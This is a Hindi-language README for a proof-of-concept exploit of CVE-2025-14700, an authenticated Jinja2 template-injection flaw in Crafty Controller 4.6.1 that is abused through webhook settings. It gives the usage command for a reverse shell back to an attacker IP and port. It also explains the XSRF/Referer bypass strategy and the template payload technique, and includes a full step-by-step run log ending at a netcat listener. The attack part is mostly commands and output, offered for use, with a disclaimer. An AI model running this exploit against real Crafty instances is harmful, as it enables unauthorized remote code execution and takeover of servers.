
Crafty Controller में प्रमाणित RCE के लिए प्रूफ ऑफ कॉन्सेप्ट
CVE-2025-14700 के लिए PoC, Crafty Controller <= 4.6.1 में एक सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) भेद्यता। यह भेद्यता प्रमाणित उपयोगकर्ताओं को Webhook कॉन्फ़िगरेशन में दुर्भावनापूर्ण Jinja2 टेम्पलेट इंजेक्ट करके रिमोट कोड निष्पादन (RCE) प्राप्त करने की अनुमति देती है।
# Clone the repository
git clone https://github.com/secdongle/POC_CVE-2025-14700
cd POC_CVE-2025-14700
Crafty Controller 4.6.1 का एक भेद्य इंस्टेंस सेट करने के लिए, निम्न docker-compose.yml कॉन्फ़िगरेशन का उपयोग करें:
docker-compose.yml बनाएँversion: '3'
services:
crafty:
image: registry.gitlab.com/crafty-controller/crafty-4:4.6.1
container_name: crafty-vulnerable
ports:
- "8443:8443" # Web Dashboard
- "25565:25565" # Minecraft Server Port
environment:
- TZ=Asia/Shanghai
volumes:
- ./crafty_data:/crafty_db
restart: unless-stopped
docker-compose up -d
https://localhost:8443 पर एक्सेस करें।poc.py स्क्रिप्ट चलाने के लिए इन क्रेडेंशियल्स का उपयोग करें।# Execute the Proof of Concept for a reverse shell
python3 poc.py -u https://10.67.3.77:8443 -l admin -p 'PASSWORD' -lh 10.67.3.78 -lp 6699
| विकल्प | विवरण |
|---|---|
-u, --url | Crafty Controller का लक्ष्य URL (उदा., https://10.67.3.77:8443) |
-l, --login | प्रमाणीकरण के लिए उपयोगकर्ता नाम |
-p, --password | प्रमाणीकरण के लिए पासवर्ड |
-lh, --lhost | रिवर्स शेल कॉलबैक के लिए हमलावर का IP |
-lp, --lport | रिवर्स शेल कॉलबैक के लिए हमलावर का पोर्ट |
_xsrf कुकीज़ और कस्टम token हेडर के बीच जटिल सिंक्रोनाइज़ेशन को स्वचालित रूप से संभालता है।Referer और Origin हेडर सहित ब्राउज़र-आधारित अनुरोधों का 1:1 अनुकरण।एक्सप्लॉइट बैकएंड के सख्त सत्यापन तर्क के साथ संरेखित होकर सफल होता है:
| आवश्यकता | एक्सप्लॉइट रणनीति |
|---|---|
| XSRF टोकन | कुकीज़ से _xsrf निकालता है और इसे X-XSRFToken और token हेडर में दर्शाता है। |
| Referer जाँच | वैध उपयोगकर्ता इंटरैक्शन की नकल करने के लिए Referer को डैशबोर्ड पथ पर सेट करता है। |
| हेडर मैपिंग | एक्शन डिस्पैचर द्वारा आवश्यक विशिष्ट token हेडर में _xsrf मान को मैप करता है। |
| पेलोड | os मॉड्यूल तक पहुँचने के लिए self._TemplateReference__context का लाभ उठाता है। |
python poc.py -u https://10.67.3.77:8443 -l admin -lh 10.67.3.78 -lp 6699 -p 'iMbSnt@OLnBYnU%hVv0aRN2l5djUInSruxAHK2oP0j@QDs$6pkGa8dYEI!G$mLim"'
[*] STEP 1: Visiting login page to retrieve initial _xsrf cookie...
[*] STEP 2: Executing authentication (XSRF: 2|421c9864|03dd...)
================================================================================
[POST] https://10.67.3.77:8443/api/v2/auth/login/ -> HTTP 200
-------------------- [KEY HEADERS VALIDATION] --------------------
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Referer: https://10.67.3.77:8443/login?next=%2Fpanel%2Fdashboard
Content-Type: application/json
-------------------- [RESPONSE BODY] -------------------------
{
"status": "ok",
"data": {
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k",
"user_id": "1",
"page": "/panel/dashboard"
}
}
================================================================================
[*] STEP 3: Creating exploit dummy server...
================================================================================
[POST] https://10.67.3.77:8443/api/v2/servers -> HTTP 201
-------------------- [KEY HEADERS VALIDATION] --------------------
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Referer: https://10.67.3.77:8443/panel/dashboard
Content-Type: application/json
-------------------- [RESPONSE BODY] -------------------------
{
"status": "ok",
"data": {
"new_server_id": "d21f875b-3db0-42fa-92c7-2ba10cdf13ba"
}
}
================================================================================
[*] STEP 4: Injecting SSTI Reverse Shell payload...
================================================================================
[POST] https://10.67.3.77:8443/api/v2/servers/d21f875b-3db0-42fa-92c7-2ba10cdf13ba/webhook -> HTTP 200
-------------------- [KEY HEADERS VALIDATION] --------------------
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Referer: https://10.67.3.77:8443/panel/dashboard
Content-Type: application/json
-------------------- [RESPONSE BODY] -------------------------
{
"status": "ok",
"data": {
"webhook_id": 13
}
}
================================================================================
[*] STEP 5: Executing protocol-level trigger emulation (Critical Phase)...
[*] Sending start_server action request...
================================================================================
[POST] https://10.67.3.77:8443/api/v2/servers/d21f875b-3db0-42fa-92c7-2ba10cdf13ba/action/start_server -> HTTP 200
-------------------- [KEY HEADERS VALIDATION] --------------------
token: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Referer: https://10.67.3.77:8443/panel/dashboard
-------------------- [RESPONSE BODY] -------------------------
{
"status": "ok"
}
================================================================================
[*] Sending EULA confirmation action request...
[+] POC Execution completed. Check your nc listener (LHOST/LPORT).

यह टूल केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। लेखक किसी भी दुरुपयोग के लिए उत्तरदायी नहीं हैं।